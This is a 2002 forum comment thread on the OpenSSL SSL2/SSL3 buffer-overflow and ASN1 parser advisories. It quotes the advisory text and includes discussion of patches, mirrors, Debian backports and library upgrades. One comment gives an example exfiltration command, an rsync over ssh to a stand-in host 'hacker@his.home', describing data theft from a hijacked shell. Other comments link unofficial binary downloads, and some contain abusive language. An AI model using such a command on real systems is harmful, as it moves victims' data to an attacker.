A.L. Digital Ltd and The Bunker (http://www.thebunker.net/) are conducting a security review of OpenSSL, under the DARPA program CHATS.

Vulnerabilities

All four of these are potentially remotely exploitable.

1. The client master key in SSL2 could be oversized and overrun a buffer. This vulnerability was also independently discovered by consultants at Neohapsis (http://www.neohapsis.com/) who have also demonstrated that the vulerability is exploitable. Exploit code is NOT available at this time.

2. The session ID supplied to a client in SSL3 could be oversized and overrun a buffer.

3. The master key supplied to an SSL3 server could be oversized and overrun a stack-based buffer. This issues only affects OpenSSL 0.9.7 before 0.9.7-beta3 with Kerberos enabled.

4. Various buffers for ASCII representations of integers were too small on 64 bit platforms.

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2002-0656 to issues 1-2, CAN-2002-0657 to issue 3, and CAN-2002-0655 to issue 4.

In addition various potential buffer overflows not known to be exploitable have had assertions added to defend against them.

Who is affected?

Everyone using OpenSSL 0.9.6d or earlier, or 0.9.7-beta2 or earlier or current development snapshots of 0.9.7 to provide SSL or TLS is vulnerable, whether client or server. 0.9.6d servers on 32-bit systems with SSL 2.0 disabled are not vulnerable.

SSLeay is probably also affected.

Recommendations

Apply the attached patch to OpenSSL 0.9.6d, or upgrade to OpenSSL 0.9.6e. Recompile all applications using OpenSSL to provide SSL or TLS.

A patch for 0.9.7 is available from the OpenSSL website (http://www.openssl.org/).

Servers can disable SSL2, alternatively disable all applications using SSL or TLS until the patches are applied. Users of 0.9.7 pre-release versions with Kerberos enabled will also have to disable Kerberos.

Client should be disabled altogether until the patches are applied.

Known Exploits

There are no know exploits available for these vulnerabilities. As noted above, Neohapsis have demonstrated internally that an exploit is possible, but have not released the exploit code.

References

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2002-0655

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2002-0656

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2002-0657

Acknowledgements

The project leading to this advisory is sponsored by the Defense Advanced Research Projects Agency (DARPA) and Air Force Research Laboratory, Air Force Materiel Command, USAF, under agreement number F30602-01-2-0537.

The patch and advisory were prepared by Ben Laurie.

Advisory 2

Vulnerabilities

The ASN1 parser can be confused by supplying it with certain invalid encodings.

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2002-0659 to this issue.

Who is affected?

Any OpenSSL program which uses the ASN1 library to parse untrusted data. This includes all SSL or TLS applications, those using S/MIME (PKCS#7) or certificate generation routines.

Recommendations

Apply the patch to OpenSSL, or upgrade to OpenSSL 0.9.6e. Recompile all applications using OpenSSL.

Users of 0.9.7 pre-release versions should apply the patch or upgrade to 0.9.7-beta3 or later. Recompile all applications using OpenSSL.

Exploits

There are no known exploits for this vulnerability.

References

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2002-0659

Acknowledgements

This vulnerability was discovered by Adi Stav and James Yonan independently. The patch is partly based on a version by Adi Stav.

The patch and advisory were prepared by Dr. Stephen Henson.

Re:Happy Xmas

[funky womble]

If you have it, can you post the patch too? (If the lame filter allows it, of course...)

Re:Happy Xmas

[fingal]

If you have it, can you post the patch too? (If the lame filter allows it, of course...)

I do have it, but I left it off because of the amount of mangling that I had to do to the message to get it to accept that I thought it was unwise to do the same to a patch...

Doh! received it on suse-security, so here is a link to their archive of the mail (including patch). Enjoy...

Re:Happy Xmas

[funky womble]

Thank you very much.

True. Guess I miss read

[Anonymous Coward]

BTW look in alt.bin.w.linux if you want the
0.96e openssl
and
0.96e openssl engine
(I just posted them to giganews)

Security Advisory from Bugtraq

[Anonymous Coward]

The original security advisory (with attached patch for OpenSSL 0.9.6d) is here. A follow-up with patches for older versions is here.

buffer overrun != cracked encryption

[roachmotel3]

OK -- I understand your pain -- I know that you feel it's difficult to keep up with things, especially when it seems like they aren't achieving the end they purport.

But, it's important to note here that a buffer or stack overflow is DIFFERENT than cracking the encryption algorithm used. These are buffer overflows, which introduces a DoS condition, or possible remote shell attack. The data transiting the network that is encrypted, however, is still encrypted.

Re:buffer overrun != cracked encryption

[mr_z_beeblebrox]

however, is still encrypted.

Until, at the prompt on their hijacked shell, they type:
rsync -zavuSH -e ssh hacker@his.home:

It's downhill from there (counting root kit installs etc...)

Re:buffer overrun != cracked encryption

[mr_z_beeblebrox]

however, is still encrypted. Until, at the prompt on their hijacked shell, they type: rsync -zavuSH -e ssh hacker@his.home: the above should have had 'path to your rsa key' but I ignorantly encased it in brackets, and the browsers are now attempting to do something silly, not involving rendering my text.

Re:buffer overrun != cracked encryption

[roachmotel3]

Ahh -- but that's not CRACKING encryption. That's working from within the boundaries of the system to achieve a goal. Cracking OpenSSL would be like cracking WEP -- if you give me enough data, I could crack the key and start decrypting traffic. This is VERY different.

The point is that the actual method of encryption itself, the mathematical formulas and principles, are still very valid and relevent. It just means that you can't leave the backdoor unlocked.

Re:buffer overrun != cracked encryption

[mr_z_beeblebrox]

It just means that you can't leave the backdoor unlocked.

Righto, but unchecked buffers are a backdoor that most won't notice. Unfortunately many OSS software developers harp about them being easy to find in a good code audit. I think the OpenSSL people got a little to carried away in implemting their encryption strategy and didn't focus on the basics.

However, if M$ ever comes up with a better product it will doubtless say BSD in the comments.

WTF?!?!?!

[Anonymous Coward]

Listen Michael,

If you are going to post something like this, then I think you should basically be man enough to mirror using your own website or use Slashdot to mirror the new OpenSSL sources and binaries.

Its completely insane, and thoughtless.. That Slashdot becomes a source of DDOS-like actions against IMPORTANT security advisories and downloads.

Now thanks to Slashdot and yourself, there is a bunch of servers that are completely left wide open now to this risk. And why?!?! Cause, we can't even access the website, due to /..

This has been going on for way to long, and I think that Slashdot should owe up to the responsibility of being able to host the files, or stop posting articles in regards to them, till at least a week after the initial announcement.

Ohh boy.. "I was h4x0r3d due to OpenSSL being /."

Vendor advisories below

[Anonymous Coward]

A ton of vendor advisories can be found at
www.cgisecurity.com

Re:another victory for Open Source!

[Anonymous Coward]

Also note that he took some shots at the Linux desktop while he was at it, quite a troll, too bad all his stuff was wrong (DVD menus, games, and color printing are all fine in linux...)

Advisory + Patch

[ChiefArcher]

http://online.securityfocus.com/archive/1/285022/2 002-07-27/2002-08-02/0

Argh.

[BJH]

Red Hat's servers are /.ed and I'm getting 5KB/s in up2date.

Great, just great...

Re:Argh.

[Anonymous Coward]

Must be a problem on your end - I'm running 30kB/s right now :-)

Where's the signature?

[Anonymous Coward]

I downloaded the source tarball but couldn't find a PGP signature for it anywhere. Am I supposed to just trust it and install it anyway?

Advisory Mirror

[ActMatrix]

Here's a copy of the full advisory since the OpenSSL site is /.'d.

always behind on updates?

[Anonymous Coward]

:~/lynx -head -dump http://www.slashdot.org

HTTP/1.1 301 Moved Permanently
Date: Tue, 30 Jul 2002 14:37:05 GMT
Server: Apache/1.3.26 (Unix) mod_gzip/1.3.19.1a mod_perl/1.27 mod_ssl/2.8.10 OpenSSL/0.9.6d

time to use your own advise and update :)

advisory text mirrored

[More Trouble]

Here's the text of the advisory.

:w

Advisory Wording

[Anonymous Coward]

OpenSSL Security Advisory [30 July 2002]

This advisory consists of two independent advisories, merged, and is an official OpenSSL advisory.

Advisory 1
==========

A.L. Digital Ltd and The Bunker (http://www.thebunker.net/) are conducting a security review of OpenSSL, under the DARPA program CHATS.

Vulnerabilities
---------------

All four of these are potentially remotely exploitable.

1. The client master key in SSL2 could be oversized and overrun a buffer. This vulnerability was also independently discovered by consultants at Neohapsis (http://www.neohapsis.com/) who have also demonstrated that the vulerability is exploitable. Exploit code is NOT available at this time.

2. The session ID supplied to a client in SSL3 could be oversized and overrun a buffer.

3. The master key supplied to an SSL3 server could be oversized and overrun a stack-based buffer. This issues only affects OpenSSL 0.9.7 before 0.9.7-beta3 with Kerberos enabled.

4. Various buffers for ASCII representations of integers were too small on 64 bit platforms.

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2002-0656 to issues 1-2, CAN-2002-0657 to issue 3, and CAN-2002-0655 to issue 4.

In addition various potential buffer overflows not known to be exploitable have had assertions added to defend against them.

Who is affected?
----------------

Everyone using OpenSSL 0.9.6d or earlier, or 0.9.7-beta2 or earlier or current development snapshots of 0.9.7 to provide SSL or TLS is vulnerable, whether client or server. 0.9.6d servers on 32-bit systems with SSL 2.0 disabled are not vulnerable.

SSLeay is probably also affected.

Recommendations
---------------

Apply the attached patch to OpenSSL 0.9.6d, or upgrade to OpenSSL 0.9.6e. Recompile all applications using OpenSSL to provide SSL or TLS.

A patch for 0.9.7 is available from the OpenSSL website (http://www.openssl.org/).

Servers can disable SSL2, alternatively disable all applications using SSL or TLS until the patches are applied. Users of 0.9.7 pre-release versions with Kerberos enabled will also have to disable Kerberos.

Client should be disabled altogether until the patches are applied.

Known Exploits
--------------

There are no know exploits available for these vulnerabilities. As noted above, Neohapsis have demonstrated internally that an exploit is possible, but have not released the exploit code.

References
----------

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2002-0655
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2002-0656
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2002-0657
Acknowledgements
----------------

The project leading to this advisory is sponsored by the Defense Advanced Research Projects Agency (DARPA) and Air Force Research Laboratory, Air Force Materiel Command, USAF, under agreement number F30602-01-2-0537.
The patch and advisory were prepared by Ben Laurie.



Advisory 2
==========

Vulnerabilities
---------------

The ASN1 parser can be confused by supplying it with certain invalid encodings.

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2002-0659 to this issue.

Who is affected?
----------------

Any OpenSSL program which uses the ASN1 library to parse untrusted data. This includes all SSL or TLS applications, those using S/MIME (PKCS#7) or certificate generation routines.
Recommendations
---------------

Apply the patch to OpenSSL, or upgrade to OpenSSL 0.9.6e. Recompile all applications using OpenSSL.

Users of 0.9.7 pre-release versions should apply the patch or upgrade to 0.9.7-beta3 or later. Recompile all applications using OpenSSL.

Exploits
--------

There are no known exploits for this vulnerability.

References
----------

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2002-0659

Acknowledgements
----------------
This vulnerability was discovered by Adi Stav and James Yonan independently. The patch is partly based on a version by Adi Stav.

The patch and advisory were prepared by Dr. Stephen Henson.
Combined patches for OpenSSL 0.9.6d:
http://www.openssl.org/news/patch_20020730_0_9_6d. txt

Combined patches for OpenSSL 0.9.7 beta 2:
http://www.openssl.org/news/patch_20020730_0_9_7.t xt

URL for this Security Advisory:
http://www.openssl.org/news/secadv_20020730.txt

Debian users:

[xercist]

http://incoming.debian.org/openssl_0.9.6c-2.woody. 0_i386.deb

Ahh, how I love debian

Re:Debian users:

[benjj]

And it's now apt-gettable from security.debian.org.

Nice.

Re:Debian users:

[Mr_Perl]

Perhaps I'm mistaken, it having been awhile since I learned my alphabet but is it not so that C comes before D? And the suggested action is to patch D or upgrade to E?

Unless some funky patching is going on, let's link to a deb that is actually not vulnerable here ok?

Re:Debian users:

[CentrX]

For stable releases, Debian backports the patches to the version that's in stable, so as not to introduce problems that may result from introducing a relatively heavily modified new release. That's why it's called "stable". From the Debian Security Advisory: "These vulnerabilities have been addressed for Debian 3.0 (woody) in openssl094_0.9.4-6.woody.0, openssl095_0.9.5a-6.woody.0 and openssl_0.9.6c-2.woody.0." So, the link provided is a package that isn't vulnerable.

Re:Debian users:

[Anonymous Coward]

... and monkeys, but we don't mention that any more, do we?

Re:Debian users:

[BJH]

Debian doesn't generally upgrade the software in question to a later external version unless it's absolutely necessary - instead, they patch the version that they know is stable and move their internal version up a notch.

Re:Debian users:

[Mr_Perl]

Thanks for the clarification, mod parent up someone =)

Re:Debian users:

[Tadghe]

Sid package is also on incominig.debian.org or you can grab it from
http://mordikyn.dynu.com/openssl_0.9.6e-1_i3 86.deb

Re:Debian users:

[Chops]

In general, this isn't valid -- Debian stable is supposed to be very stable, and so when an exploit is found in a Debian package, they'll patch only that bug instead of upgrading to the "minimum safe" version (which might break something else.)
So yes, some "funky patching" is going on :-).

Slashdot is hilarious

[Anonymous Coward]

When Internet Explorer or IIS has a bug, it's a security "vulnerability" or "exploit". When Mozilla or OpenSSH has a bug, it's a security "update". I love how Slashdot doesn't even bother to hide its shameless bigotry and complete lack of journalistic integrity. Rob Malda and the janitors are morons of the stupidest caliber.

-- The_Messenger
(Banned for telling the truth.)

Getting tired of updating

[Anonymous Coward]

Damn, I am getting tired of updating.
First it's apache, then PHP. A good thing I have written down how I managed to compile apache with php and that GD V2 lib. That really was a bitch, and now it's time again to update the server.

I guess that I am just unlucky that it's the few services that I run that gets a lot of updates at time..
I'm just hoping that everyone will go to a new major version number and leave the old behind with only bug fixes so one could have a "older" system that has been tested to death.

Re:another victory for Open Source!

[Anonymous Coward]

Yes, because the many eyes didn't catch the thing in earlier versions, so it's certainly good that after all this time we have a fix. Of course, the new version doesn't work with OpenSSH, so you're screwed if you use it in production. BTW, when MS releases a bug report, they almost always include a fix. Hmmm...I wonder how long the OpenSSL team knew about this one before they released it? I seriously doubt they coded up a fix that's 100% secure in 5 minutes. Fuck Open Source.

Mirrors

[Wouter Van Hemel]

Damn /. morons, was it really necessary to link to the _main_ site instead of providing some mirrors?

Most mirrors are not up to date yet, except:

ftp://opensores.thebunker.net/pub/mirrors/openss l/ source/
ftp://ftp.psy.uq.edu.au/pub/Crypto/OpenSS L/
ftp://ftp.infoscience.co.jp/pub/Crypto/SSL/ope nssl /source/

... but by the time you read this, maybe the others have it too (thanks to google... yet again):

* ftp://ftp.openssl.org/source/ [CH]
* ftp://sunsite.cnlab-switch.ch/mirror/openssl/ [CH]
* ftp://ftp.funet.fi/pub/crypt/cryptography/libs/ope nssl/ [FI]
* ftp://ftp.pca.dfn.de/pub/tools/net/openssl/ [DE]
* ftp://ftp.ecrc.net/pub/security/openssl/ [DE]
* ftp://ftp.uni-trier.de/pub/unix/security/openssl/ [DE]
* ftp://ftp.webmonster.de/pub/openssl/ [DE]
* ftp://opensores.thebunker.net/pub/mirrors/openssl/ [UK]
* ftp://ftp.net.lut.ac.uk/openssl/ [UK]
* ftp://ftp.mirror.ac.uk/sites/ftp.openssl.org/ [UK]
* ftp://sunsite.uio.no/pub/security/openssl/ [NO]
* ftp://ftp.sunet.se/pub/security/tools/net/openssl/ [SE]
* ftp://ftp.chl.chalmers.se/pub/unix/security/openss l/ [SE]
* ftp://ftp.psy.uq.edu.au/pub/Crypto/ [AU]
* ftp://mirror.aarnet.edu.au/pub/openssl/ [AU]
* ftp://gd.tuwien.ac.at/infosys/security/openssl/ [AT]
* ftp://glock.missouri.edu/pub/openssl/ [US]
* ftp://ftp.av8.com/pub/mirrors/openssl/ [US]
* ftp://ftp.styx.net/mirrors/crypto/openssl/ [US]
* ftp://gw.inetlab.com/mirrors/openssl/ [RU]
* ftp://ftp.mos.net/pub/security/openssl/ [RU]
* ftp://ftp.ebizlab.hit.bme.hu/pub/openssl/ [HU]
* ftp://ftp.kfki.hu/pub/packages/security/openssl/ [HU]
* ftp://guest.kuria.katowice.pl/pub/openssl/ [PL]
* ftp://ftp.win.ne.jp/pub/network/security/openssl/ [JP]
* ftp://ftp.infoscience.co.jp/pub/Crypto/SSL/openssl / [JP]
* ftp://ftp.happysize.co.jp/mirror/openssl/ [JP]
* ftp://ftp.ncu.edu.tw/Unix/Crypto/OpenSSL/ [TW]
* ftp://ftp.mit.com.tw/pub/SSL/openssl/ [TW]
* ftp://ftp.elab.co.za/support/openssl/source/ [ZA]
* ftp://ftp.fisek.com.tr/pub/openssl/ [TR]
* ftp://ftp.fi.muni.cz/pub/openssl/ [CZ]
* ftp://ftp.sunsite.utk.edu/pub/openssl/ [US]
* ftp://ftp.gm.is/pub/openssl/ [IS]
* ftp://ftp.directnet.ru/pub/openssl/ [RU]
* ftp://ftp.linux.hr/pub/openssl/ [HR]
* ftp://ftp.1stnet.co.uk/pub/mirrors/openssl/ [UK]
* ftp://mirror.aarnet.edu.au/pub/openssl/ [AU]
* ftp://storm.alert.sk/mirrors/openssl/ [SK]
* ftp://ftp.openssl.uli.it/ [IT]
* ftp://ftp.grmbl.com/pub/openssl/ [BE]
* ftp://ftp.gin.cz/pub/MIRRORS/ftp.openssl.org/ [CZ]
* ftp://ftp.calyx.nl/pub/openssl/ [NL]
* ftp://ftp.duth.gr/pub/OpenSSL/ [GR]
* ftp://ftp.linux.gr/pub/crypto/openssl/ [GR]
* ftp://ftp.si.uniovi.es/mirror/OpenSSL/ [ES]

Cheers.

Re:Formula for response

[Anonymous Coward]

Ofcourse on a *nix system, the code would have to be crippled as to become non-readable. Something like: char[] _retVal = (product_type(os[bug])=="Microsoft") ? "M$ suxx0r!" : "Isn't our beloved OS wonderful? Look how quickly the bugs are fixed!"; (for the microsofties: this should do the same as the above code)

Slashdotted

[novakane007]

Don't you think it's unfair that slashdot doesn't make a local mirror, or at least a local copy of files like this one? For people that pay by the megabyte being slashdotted is not only annoying, but costs them money. On one hand it would be cool to get that much attention, but most of the articles are not posted by people related to a linked site. The poor admin that has to get up early in the morning to fight what looks like a DDOS, but is in fact the slashdot effect.

vulnerable if you just use it for ssh?

[dousette]

If you just have OpenSSL installed for OpenSSH's benefit, are you affected by the vulnerability?

Re:vulnerable if you just use it for ssh?

[Anonymous Coward]

Yes.

Re:vulnerable if you just use it for ssh?

[LiquidPC]

Seeing how OpenSSH uses OpenSSL, yes.

Re:vulnerable if you just use it for ssh?

[Anonymous Coward]

OpenSSH uses the crypto libraries in OpenSSL so it's a fair assumption that a vulnerability in OpenSSL will make OpenSSH vulnerable as well. As per the OpenSSH advisory:
Several remote buffer overflows can occur in the SSL2 server and SSL3 client of the ssl(8) library, as in the ASN.1 parser code in the crypto(3) library, all of them being potentially remotely exploitable.

and the OpenSSL manpage:
The OpenSSL crypto library implements a wide range of
cryptographic algorithms used in various Internet stan-
dards. The services provided by this library are used by
the OpenSSL implementations of SSL, TLS and S/MIME, and
they have also been used to implement SSH, OpenPGP, and
other cryptographic standards

Re:vulnerable if you just use it for ssh?

[levitte]

No, unless it handles certificates.

You see, OpenSSH doesn't use SSL (as far as I know), but there are provisions in the SecSH standards to use certificates for authentication. Since certificates are ASN.1 blobs, OpenSSH is vulnerable only when using certificates.

--
Richard Levitte, OpenSSL developper

Re:vulnerable if you just use it for ssh?

[hearingaid]

Thanks; mod parent up, folks.

And another thing. If you upgrade your OpenSSL, do you then need to recompile OpenSSH to link to the new libraries?

patch for 0.9.6d mirrored here

[More Trouble]

Here's a copy of the patch for OpenSSL 0.9.6d.

:w

working mirror

[Anonymous Coward]

almost all mirrors are down, the ones who aren't down dont have the newest source...

the only one who had is was ftp://ftp.psy.uq.edu.au/pub/Crypto/OpenSSL/openssl -0.9.6e.tar.gz ....

Re:working mirror

[whizkid042]

ftp://mirror.clarkson.edu/pub/openssl-0.9.6e.tar.g z

OpenBSD patches available

[funky womble]

Usual place.

Re:OpenBSD patches available

[Anonymous Coward]

Usual place.

The mortuary?

What, is this slashdot or bugtraq?

[Anonymous Coward]

Like anyone who needs to know isn't already aware of the issue long before it's posted here..

Re:Pie?

[Anonymous Coward]

when come back, bring pie!

[ seriously, follow this link, its not the dude with the weird ass ]

Agreed - please mirror contents

[Evro]

I agree; while I realize that Slashdot also pays for bandwidth, they're far better equipped to handle the millions of visitors who would be looking for this information. I wouldn't expect you to host a copy of the openssl source, but you could at least mirror the notice that there's a vulnerability. Especially when the submitter's writeup is completely devoid of content relating to the problem, like Pseud0's was this time. Really, you are doing a disservice to the community.

Obviously if you link to nytimes.com or cnet.com they're equipped to handle millions of visitors, but openssl.org? I doubt it very much.

Re:Hypocrisy, thy name is Slashdot.

[Anonymous Coward]

It's akin to the Op-Ed page of a newspaper deliberately NOT posting mail that points out the hypocrisy of the articles. Only the real hypocrites here not only the "editors", but the readers, who just love the thrill of being a clueless, moronic member of the Anti-Microsoft Collective.

Re:OpenSSL is incompatable with GPL'ed projects

[Anonymous Coward]

why the fuck is this modded offtopic? It's about fucking OPENSSL, you moderating queers. And I agree with the poster about using GNUTLS more.

Re: another victory for Open Source!

[Black Parrot]

> Thanks to "many eyes," no sooner is a flaw detected than it is patched up!

<pedantic>Actually, "many eyes" didn't have much to do with either facet, this time. The detection was done by the (presumably pay-to-view) eyes at A.L. Digital Ltd and The Bunker, and the fix isn't an "eyes" issue at all, but rather a get-on-the-ball-and-do-it issue.</pedantic>

But you're entirely right about the quick turn-around. The good folk at OpenSSH completely skipped the Six Step Security Patch Development Cycle so commonly used in the commercial software world thes days:

1. deny it, as long as possible
2. promise an investigation, as long as possible
3. promise "real soon now", as long as possible
4. make excuses for the delay, as long as possible
5. release a broken fix, investing as little effort as possible
6. GOTO 1

Moderation Sucks!

[Anonymous Coward]

The parent was totally on-topic.

Slashdot is a joke.

Compiling it Yourself

[uberdave]

Plus, if you don't compile it yourself, who knows what extra goodies are being installed that you don't want.

Even if you compile it yourself; even if you spend months verifying the source code, you can still be compiling in some backdoor code. Check out http://www.acm.org/classics/sep95/. If your compiler binary is compromised, no amount of source code review is going to help. Your only hope is to hand assemble a compiler and use that to build your software.

Re:Compiling it Yourself

[MrBlue VT]

I didn't necessarily mean viruses, but that is a good point as well. I was thinking about Vim, where the default is to compile all sorts of things I don't need, like the graphical version. It results in a much more bloated executable that takes longer to start up.

Re:Compiling it Yourself

[flatus]

If it takes you ten hours to compile you system from scratch, then you will have to run your source distribution for many years, without making any changes, before it repays you the time that you lost in the initial install. Please get a clue; there is no performance benefit, and you still can not pee for good distance, so get a binary dist.

Re:Compiling it Yourself

[MrBlue VT]

Eh, I use a binary distribution for installing the base system, never said I didn't. There a just a few things that need to be constantly updated (Apache, Bind, qmail, SSH/SSL) because those can allow remote vulnerabilities on your machine. My argument is some things need to be installed via source if you want to get the most up to date, therefore more secure, package.

Re:Compiling it Yourself

[MrBlue VT]

Well, maybe not qmail since they claim they've never had a remotely exploitable security hole. (I tend to believe them, but who knows.)

Upgrading SSL is nothing like upgrading SSH

[tzanger]

I have 18 firewalls to update (I sell these and support them, it's a nice way to suppliment my income). I'm not having much luck updating them though.

So far (on 5/7 firewalls), updating the ssl libraries caused ssh to kick out. This is very much unlike upgrading ssh, where the currently running sessions would stay active and you just kill off the 'parent' sshd process and restart sshd to upgrade.

Does anyone know why upgrading the shared lib is kicking out running sessions of ssh linked against it? Short of compiling sshd statically, is there any way around this? So far all the boxes are local but I have a few that are quite a distance and short of enabling telnet with a throwaway root account or statically compiling a temporary sshd, I'm screwed. :-)

Re:Upgrading SSL is nothing like upgrading SSH

[Anonymous Coward]

The deal is that the version of SSH may not support the API OpenSSL provides in the latest
patched version. You may have to wait for SSH to
be updated to work with the newest one.

Re:Upgrading SSL is nothing like upgrading SSH

[Dimensio]

Odd, I just updated ssl remotely via an ssh connection (compiled against the previous libs). I then recompiled ssh without problem.

Re:Upgrading SSL is nothing like upgrading SSH

[tzanger]

Odd, I just updated ssl remotely via an ssh connection (compiled against the previous libs). I then recompiled ssh without problem.

Like I said, 5/7 boxes failed to do this nicely. Two of them worked as I had thought they should -- yes the libs change underneath you but you're running from in-memory copies. Someone told me this variation was due to glibc but I haven't found anything conclusive.

Re:Upgrading SSL is nothing like upgrading SSH

[tzanger]

The deal is that the version of SSH may not support the API OpenSSL provides in the latest patched version. You may have to wait for SSH to be updated to work with the newest one.

Interesting theory but why would a simple recompile of ssh work then? If the API changed I would have thought to see compiler errors.

Re:Upgrading SSL is nothing like upgrading SSH

[knuffelbeer]

So far (on 5/7 firewalls), updating the ssl libraries caused ssh to kick out. This is very much unlike upgrading ssh, where the currently running sessions would stay active and you just kill off the 'parent' sshd process and restart sshd to upgrade.

Library upgrades may break running programs depending on the underlying OS (I noticed this on Solaris). It all depends on whether the existing library get overwritten or gets replaced (depends on cp or install used). This probably only happens if the library version number isn't changed.

A workaround would be to move the existing library aside before you do make install. (e.g. mv libssl.so.0.9.6 libssl.so.0.9.6-OLD)

Re:Upgrading SSL is nothing like upgrading SSH

[Dimensio]

I found something.

I was updating two of my boxes from home while at work. I ssh into one box from work and from that ssh session I ssh into the other box (due to firewall configuration).

On the "main" box -- the one to which I go in from work -- updating openssl was smooth and efficient, as was updating ssh. Download source, compile and go.

On the "workstation" box -- the one I go in from the main box -- I had a problem when trying to run the configure script for openssh after compiling openssl. Turns out that it is looking for a shared libssl rather than a static one! I don't know why this happened (both machines use openssh source from the same tarball!), but I recompiled openssl with shared support enabled, and the connection dropped as soon as I tried to install.

Openssh shouldn't be using shared openssl libs (in fact, nothing should use shared openssl libs according to the readme), so I suspect I'll need to check that when I recompile it. I know that the ssh compile on my "main" box isn't using shared libs because I have no libssl.so, only libssl.a. I suspect that the presence of an existing shared openssl library ($#@$ing default install) triggered a detection in the configure script.

Re:Upgrading SSL is nothing like upgrading SSH

[Ruprickt]

Try copying the shared SSL library to another location, then start a new sshd on a different port using LD_LIBRARY_PRELOAD. Connect to this 2nd sshd and upgrade libSSL. Then just restart the regular sshd and connect, kill the 2nd sshd, and remove the copy of libssl.

Re:Upgrading SSL is nothing like upgrading SSH

[vph]

Probably your sshd fails when install overwrites libcrypto.so. And rest of the installation is aborted. How about running installation under screen, so that installation proceeds even if the conenction is terminated. Try (under screen) something like:

make install && /sbin/ldconfig && /etc/init.d/sshd restart

And when you get kicked out, just reconnect and run screen -r...

Also older ssh versions seem to check openssl version and work only with the version they are compiled with. More recent versions do not seem to have this feature.

Re:Upgrading SSL is nothing like upgrading SSH

[tzanger]

I think you found the reason why. Interesting, and thanks for sharing the info.

The OpenSSL INSTALL file doesn't exressly forbid shared libraries, just that they're experimental. I think I've learned my lesson though; static ssl libs for me. :-)

... I wonder why I was ever building OpenSSL with shared libaries - something tells me that mod_ssl for Apache required shared libs but in reading over its README and INSTALL files I can't find it there. <shrut>

Re:Upgrading SSL is nothing like upgrading SSH

[tzanger]

A workaround would be to move the existing library aside before you do make install. (e.g. mv libssl.so.0.9.6 libssl.so.0.9.6-OLD)

I've noted that for future reference. :-) Offhand, do you know if glibc/gcc does this automatically when you install updated system libraries? I don't ever recall this happenning with those libraries.

Re:Upgrading SSL is nothing like upgrading SSH

[tzanger]

make install && /sbin/ldconfig && /etc/init.d/sshd restart

That's exactly what I did for the remainder of the installs but I used nohup instead. Same effect.

Funny, but the rest of the systems didn't crash out anyway. Unreal. :-)

Re:Upgrading SSL is nothing like upgrading SSH

[knuffelbeer]

It probably depends on the version of install that is used to install binaries. Some packages come with their own so there is no sure way to tell. Also this only happens (probably) when you are replacing a library with one with the same version (filename). If you're upgrading a library to a newer version this problem should not arise.

Re:Upgrading SSL is nothing like upgrading SSH

[tzanger]

Try copying the shared SSL library to another location, then start a new sshd on a different port using LD_LIBRARY_PRELOAD.

That would have been the quick way to do it. :-) I ended up using an idea very much like vph's to solve it. Thanks for the idea though, I'll keep that stored away because I'm sure it'll be handy elsewhere.

How does this impact OpenSSH?

[emil]

I'm running OpenSSH 3.4p1 on:

• Red Hat Linux 6.2 with Privilege Separation active,
• HP-UX 10.20 and 11 without Privilege Separation.

Do I need to rebuild these binaries? When will the OpenSSL audit be complete?

Re:How does this impact OpenSSH?

[roachmotel3]

It's my understanding that anything compiled with OpenSSL (which includes OpenSSH) would need to be re-compiled with the new versions of the libraries. Though, if OpenSSH used dynamic libraries rather than static ones, you should just have to upgrade the OpenSSL libs. I'm not sure if the libraries are statically compiled in tho, for security.

Re:How does this impact OpenSSH?

[0xA]

I _think_ they are linked, also someone else mentioned that if you update openssl while OpenSSH is running it will hang.

That would seem to support the linked idea. Don't bet on it though.

Details from the Debian Security Advisory...

[illsorted]

From the bugtraq announcement:

Package : openssl
Problem type : multiple remote exploits
Debian-specific: no
CVE : CAN-2002-0655 CAN-2002-0656 CAN-2002-0657 CAN-2002-0659

The OpenSSL development team has announced that a security audit by A.L.
Digital Ltd and The Bunker, under the DARPA CHATS program, has revealed
remotely exploitable buffer overflow conditions in the OpenSSL code.
Additionaly, the ASN1 parser in OpenSSL has a potential DoS attack
independently discovered by Adi Stav and James Yonan.

CAN-2002-0655 references overflows in buffers used to hold ASCII
representations of integers on 64 bit platforms. CAN-2002-0656
references buffer overflows in the SSL2 server implementation (by
sending an invalid key to the server) and the SSL3 client implementation
(by sending a large session id to the client). The SSL2 issue was also
noticed by Neohapsis, who have privately demonstrated exploit code for
this issue. CAN-2002-0659 references the ASN1 parser DoS issue.

These vulnerabilities have been addressed for Debian 3.0 (woody) in
openssl094_0.9.4-6.woody.0, openssl095_0.9.5a-6.woody.0 and
openssl_0.9.6c-2.woody.0.

These vulnerabilities are also present in Debian 2.2 (potato), but no
fix is available at this moment.

We recommend you upgrade your OpenSSL as soon as possible. Note that you
should restart any daemons running SSL. (E.g., ssh or ssl-enabled
apache.)

Re:another victory for Open Source!

[Anonymous Coward]

What a bullsh*t comment. With Microsoft and most other vendors you get the notice & fix at the same time. If not, then they tend to provide a workaround. That is, unless the group that finds the bug goes public with it before a patch or workaround is ready, as seems to happen from time to time.

Also the coinciding notice & patch absolutely does not mean "no sooner is a flaw detected than it is patched up." How the hell would you know when this flaw was detected in order to determine the true timeframe?

What, are you stupid?

[AilleCat]

Anyone who thinks they can secure thier box by getting a binary patch from this joker is inviting a nice backdoor/trojan.

Calmly proceed to nearest mirror, FreeBSD users, calmly wait for nectar to import it, other OS's wait for packages, or for itto be imported.

Rushing out in panic is not helping you.

"new version doesn't work with OpenSSH"???

[StupidKatz]

I don't know what kind of system you're trying it out on, but I just finished compiling and installing not only openssl 0.9.6e on my mandrake server (shut up), but I also recompiled and reinstalled openssh 3.4.p1 for good measure.

I'm ssh'd through the server and back out to the slackware router right now, doing the same recompile/reinstall dance on it. Yes, I did kill the parent sshd process, ran the new binary, then logged off and back on.

In other words, it works for me! :P

what makes it more vulnerable

[Anonymous Coward]

is the fact, that warcraft 3 is out.
does this read anyone?

Patches for old versions

[asr_br]

